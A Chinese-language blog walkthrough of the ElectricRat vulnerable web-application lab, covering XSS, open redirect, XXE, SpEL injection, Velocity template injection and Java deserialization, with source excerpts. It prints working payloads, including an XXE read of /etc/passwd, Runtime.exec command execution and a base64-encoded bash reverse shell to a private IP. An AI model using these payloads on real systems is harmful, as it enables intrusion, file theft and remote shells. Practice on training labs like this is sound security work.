雨下整夜
- 关注

前言
手上最近也没有什么有意思的洞可以记录,正好在群里看到了en0th师傅新写的靶场,所以来写半篇walkthrough吧(本来想全写出来的,但是篇幅实在太长了,今天就先把我看的这几个模块写出来,后面来看要不要把余下部分补上)
靶场介绍和搭建环境
项目简介:
电气鼠靶场系统是一种带有漏洞的Web应用程序,旨在为Web安全渗透测试学习者提供学习和实践的机会。靶场系统包含了各种常见的Web安全漏洞,例如SQL注入、跨站脚本攻击、文件包含漏洞、代码注入漏洞等等,以帮助学习者熟悉和掌握这些漏洞的原理和实际利用方法。
具体内容移步github项目地址:https://github.com/linjiananallnt/ElectricRat
环境搭建:
作者推荐利用docker来搭建环境
unzip ElectricRat-docker.zip
sudo docker-compose up -d
sudo docker exec electricrat-mysql /bin/bash -c 'cd /data && mysqladmin -u root -pAAsd123rdsgA create mycms && mysqladmin -u root -pAAsd123rdsgA create mycms_gbk && mysql -u root -pAAsd123rdsgA -Dmycms < dump-mycms-202302201704.sql && mysql -u root -pAAsd123rdsgA -Dmycms_gbk < dump-mycms_gbk-202302201704.sql'
然后访问地址:http://xxx:12666/ElectricRat/index.html
walkthrough
xss跨站脚本
反射型XSS(GET)
即触发点参数用GET方式传参
过滤: 无
payload:<img src='1' onerror=alert('雨下整夜')>
反射性XSS(POST)
即触发点参数用POST方式传参
过滤: 无
payload:<img src='1' onerror=alert('雨下整夜')>
!
存储型XSS
过滤: 无
payload:<img src='1' onerror=alert('雨下整夜')>
DOMxSS
过滤: 无
payload:<img src='1' onerror=alert('雨下整夜')>
DOMxSS-x
过滤: 无
payload:<img src='1' onerror=alert('雨下整夜')>
XSS盲打
盲打其实是我们渗透测试中利用XSS的一种常见攻击手法
简单说一下本靶场这里的功能点:这里是模拟了一个留言板的功能,攻击者可以利用留言板存在的存储型XSS漏洞来攻击到查看留言板的后台管理员
XSS之过滤
function submitText(){
let content = $("#own-text")[0].value.replaceAll("<script",'');
$("#notice")[0].innerHTML = generateNote("我不在乎你输入的是什么,就算是:" + content)
}
过滤: <script
payload:<img src='1' onerror=alert('雨下整夜')>
XSS之转义实体编码
function submitText(){
let content = htmlEncode($("#own-text")[0].value);
$("#notice")[0].innerHTML = generateNote("我不在乎你输入的是什么,就算是:<input type='text' value='" + content + "'>")
}
function htmlEncode(str) {
let s = "";
if (str.length === 0) {
return "";
}
s = str.replace(/&/g, "&");
s = s.replace(/</g, "<");
s = s.replace(/>/g, ">");
s = s.replace(/ /g, " ");
s = s.replace(/\'/g, "'");//IE下不支持实体名称
s = s.replace(/\"/g, """);
return s;
}
过滤: &,<,>, ,"(仔细看上面的代码,就会发现'这个点的问题依然存在,所以利用单引号这个点来绕过)
payload:'OnClick='alert(/雨下整夜/)'
XSS之href输出
function submitText(){
let content = $("#own-text")[0].value;
$("#notice")[0].innerHTML = generateNote("我不在乎你输入的是什么,就算是:<a href=" + content + "' style=\"" + "color: cornflowerblue;" + "\">这是个单纯的链接</a>")
}
此处简单来讲就是要学习在构造XSSpayload的时候的闭合思想,此处用尖括号构造前后闭合就好。
过滤: 无。
payload:123><img src =1 onerror=confirm(/雨下整夜/)><
XSS之js输出
function submitText(){
let content = $("#own-text")[0].value;
let oScript = document.createElement('script');
oScript.type = 'text/javascript';
oScript.text = `let num = '${content}'; num += "1";`;
let notice_dom = $("#notice")[0];
notice_dom.innerHTML = generateNote("我不在乎你输入的是什么,就算是:" + content)
notice_dom.appendChild(oScript)
}
这里对此submitText函数做一个分析
let content = $("#own-text")[0].value;
$("#")这种一般是使用JQuery
库,是JQuery
选择器的一种,#号是ID选择器,此处就是赋予变量content值为此处输出框输入的值
let oScript = document.createElement('script');
oScript.type = 'text/javascript';
oScript.text = `let num = '${content}'; num += "1";`;
document.createElement这个方法是动态创造一个html元素,所以这里是让新建变量oScript为一个新建的JavaScript脚本,
其内容为let num = '${content}'; num += "1";
let notice_dom = $("#notice")[0];
notice_dom.innerHTML = generateNote("我不在乎你输入的是什么,就算是:" + content)
notice_dom.appendChild(oScript)
这里也很简单,第一点是这个innerHtML是我们输入的content,第二点就是赋予id='notice'的这个oScript部分的内容,也就是上面我们可以部分控制的动态生产的JS代码
payload1(innerHTML):<img src=1 onerror=confirm(/雨下整夜/)>
payload2(oScript):';alert(/雨下整夜/);</script>//
这里居然没成功,然后我查看了一下此段JavaScript代码,发现语法是没问题的。
然后将此段JavaScript本地拿到html测试验证,发现确实没问题,可以正常执行。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JStest</title>
</head>
<body>
<script type="text/javascript">let num = '';alert(/雨下整夜/);</script>//'; num += "1";</script>
</body>
</html>
那这里payload2失败的原因是什么呢? 这里应该就是此段动态生成的js并没有执行
URL重定向
靶场漏洞点利用
这里就比较直接了,用的是window.location.href
方法,直接输入跳转的url即可发生跳转,不过呢,此处的功能点可能与实际环境中的漏洞存在功能点相差较大。不太方便了解什么是URL重定向漏洞。
所以在这里简单谈谈URL重定向漏洞
个人观点在学习URL重定向漏洞时需要注意的主要是以下两点。
1.知道这个漏洞是如何造成危害的。主要是钓鱼页面利用
2.知道这个漏洞的可能存在功能点。例如 : 内容分享功能、登录成功跳转
总的来说漏洞挖掘时需要注意所有URL参数输入点,以及所有跳转功能点。
XXE实体注入
关于XXE漏洞基础,网上有很多文章
比如这篇:https://blog.csdn.net/qq_45300786/article/details/108433752
靶场漏洞点利用
可以先来看看源码和提示部分
程序接收到XML文件解析后,尝试获取了doc.getElementsByTagName("username")
和doc.getElementsByTagName("password")
处理完成后会返回我们设定的 username 内容。result = String.format("<result><code>%d</code><msg>%s</msg></result>",isLogin,username)
如果我们传入的 username 需要先进行实体导入数据呢?尝试XXE攻击吧!
public void readXML(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
InputStream ist = request.getInputStream();
Document doc = db.parse(ist);
String username = doc.getElementsByTagName("username").item(0).getTextContent();
String password = doc.getElementsByTagName("password").item(0).getTextContent();
int isLogin = username.equals("admin") && password.equals("123456") ? 1 : 0;
result = String.format("<result><code>%d</code><msg>%s</msg></result>",isLogin,username);
} catch (Exception e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}
那么很明显就直接在此处的username进行XML注入即可
payload
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe1 SYSTEM "file:///etc/passwd">
]>
<yxzy>
<username>&xxe1;</username>
<password>&xxe1;</password>
</yxzy>
SpEL表达式注入
概述
想起来经典的一个漏洞,whitelabel error page SpEL RCE,关于这个漏洞网上有很多复现和分析。简单来讲就是spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中,此时 URL 中的参数值会用 parseStringValue 方法进行递归解析,其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
还是来简单看看Servlet部分代码
public class SpelServlet extends BaseServlet {
public void spelView(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String apply = request.getHeader("apply");
// String spel = "T(java.lang.Runtime).getRuntime().exec("calc")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(apply);
System.out.println(expression.getValue().toString());
response.getWriter().append(expression.getValue().toString());
}
}
简单来讲这里直接就对apply参数给拿到SpEL解析器SpelExpressionParser.parseExpression中进行解析了。
尝试靶场漏洞点利用
payload1:2*2
payload2:T(java.lang.Runtime).getRuntime().exec("calc")
简单说明一下,T(java.lang.Runtime)可以指定使用的java.lang.Runtime这个类方法,也就是能getRuntime().exec()来用于调用系统命令
使用payload2的时候会发现页面响应500,此处应是由于出现bash: calc: command not found
报错,所以没有返回值
payload3:T(java.lang.Runtime).getRuntime().exec("whoami")
Process[pid=xxxx, exitValue="xxxx"]就是直接打印的getRuntime().exec(),所以可以知道这里SpEL解析器到getRuntime().exec()是解析成功了的
payload4:T(java.lang.Runtime).getRuntime().exec("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjYvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'")
这里我发现通过intruder大量发包,会有部分的response的exitValue是正常的,但是我的反弹shell却依然没有成功,此处留个坑
payload5:T(java.lang.Runtime).getRuntime().exec("ping zxo5b9.dnslog.cn")
注:因为docker环境是默认不带ping命令的,payload5执行前先为靶机安装ping命令
docker exec -it electricrat-ewb /bin/bash
apt-get update
apt-get install inetutils-ping -y
SSTI模板注入
还是简单来看看代码部分
velocity是一个基于java的模板引擎,可以通过特定的语法获取在java对象的数据,填充到模板中,从而实现界面和Java的分离。
public void showTemple(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
// #set+($exp+=+"exp");$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("calc");
String template = request.getParameter("template");
//初始化velocity引擎
Velocity.init();
//创建velocity容器
VelocityContext context = new VelocityContext();
//创建StringWriter实例对象
StringWriter sw = new StringWriter();
//生成模板实例
Velocity.evaluate(context, sw, "test", template);
}
靶场漏洞点利用
payload:#set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("ping 7m6z1d.dnslog.cn")
JAVA反序列化
JAVA反序列化基概述
这里作者师傅写的比较详细了,直接贴出原图
简单看看这里的执行流程
//src/main/java/com/pika/electricrat/serialize/SerializeServlet.java
package com.pika.electricrat.serialize;
import com.pika.electricrat.serialize.po.UserSerializeEntity;
import com.pika.electricrat.web.servlet.BaseServlet;
import jakarta.servlet.*;
import jakarta.servlet.http.*;
import jakarta.servlet.annotation.*;
import java.io.*;
import java.util.Base64;
@WebServlet("/serializeAction/*")
public class SerializeServlet extends BaseServlet {
public void serializeView(HttpServletRequest request, HttpServletResponse response){
response.setContentType("text/plan;charset=utf-8");
try {
Cookie hasCookie = checkCookie(request);
if (hasCookie != null){
if (hasCookie.getValue().equals("deleteMe")){
response.getWriter().append("请更新 Cookie rememberMe 并进行请求。");
return;
}
byte[] decode = Base64.getDecoder().decode(hasCookie.getValue());
ByteArrayInputStream bytes = new ByteArrayInputStream(decode);
ObjectInputStream in = new ObjectInputStream(bytes);
Object o = in.readObject();
response.getWriter().append(((UserSerializeEntity)o).getRes());
in.close();
} else {
response.getWriter().append("请携带 Cookie rememberMe 进行请求。");
}
} catch (Exception e){
e.printStackTrace();
response.setStatus(500);
}
}
public void deserialize(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/plan;charset=utf-8");
String cmd = request.getParameter("cmd");
ServletOutputStream out = response.getOutputStream();
UserSerializeEntity entity = new UserSerializeEntity();
entity.setCmd(cmd!=null?cmd:"whoami");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(outputStream);
oo.writeObject(entity);
byte[] res = Base64.getEncoder().encode(outputStream.toByteArray());
out.write(res);
}
public void getRememberMe(HttpServletRequest request, HttpServletResponse response) {
Cookie hasCookie = checkCookie(request);
if (hasCookie != null)return;
Cookie cookie = new Cookie("rememberMe", "deleteMe");
cookie.setPath("/");
response.addCookie(cookie);
}
public void setRememberMe(HttpServletRequest request, HttpServletResponse response) {
String obj = request.getParameter("obj");
Cookie hasCookie = checkCookie(request);
if (hasCookie != null){
hasCookie.setValue(obj);
response.addCookie(hasCookie);
}
}
public Cookie checkCookie(HttpServletRequest request){
Cookie[] cookies = request.getCookies();
if(cookies != null && cookies.length > 0){
for (Cookie i : cookies) {
System.out.println(i.getName());
if (i.getName().equals("rememberMe") && i.getValue() != null && i.getValue().length() > 0) {
return i;
} else {
return null;
}
}
}
return null;
}
}
从此文件简单看来,反序列化流程链大致:getRemeberMe->deserialize->setRememberMe->serializeView
靶场漏洞点利用
payload:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjYvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
